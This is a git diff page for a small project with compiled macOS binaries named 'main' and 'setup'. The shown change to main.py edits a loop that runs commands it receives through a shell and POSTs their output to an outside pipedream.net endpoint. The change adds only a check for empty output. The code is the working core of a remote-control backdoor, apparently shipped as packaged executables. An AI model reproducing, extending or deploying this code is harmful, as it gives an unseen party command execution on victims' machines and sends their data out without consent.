diff options
| -rwxr-xr-x | dist/main | bin | 6871344 -> 6871376 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 6871344 -> 6871376 bytes | |||
| -rwxr-xr-x | dist/setup | bin | 4299264 -> 4299264 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 4299264 -> 4299264 bytes | |||
| -rw-r--r-- | main.py | 15 |
5 files changed, 8 insertions, 7 deletions
| Binary files differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differBinary files differindex f597c3c..5c0dc29 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex a7c7dfd..b0a9ac7 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -25,13 +25,14 @@ while True: if old_command != command: try: cmdout = system(command, shell=True) - try: - post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) - except KeyboardInterrupt: - continue - except: - print("Failed to sent output") - continue + if cmdout != "": + try: + post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) + except KeyboardInterrupt: + continue + except: + print("Failed to sent output") + continue old_command = command continue except: |
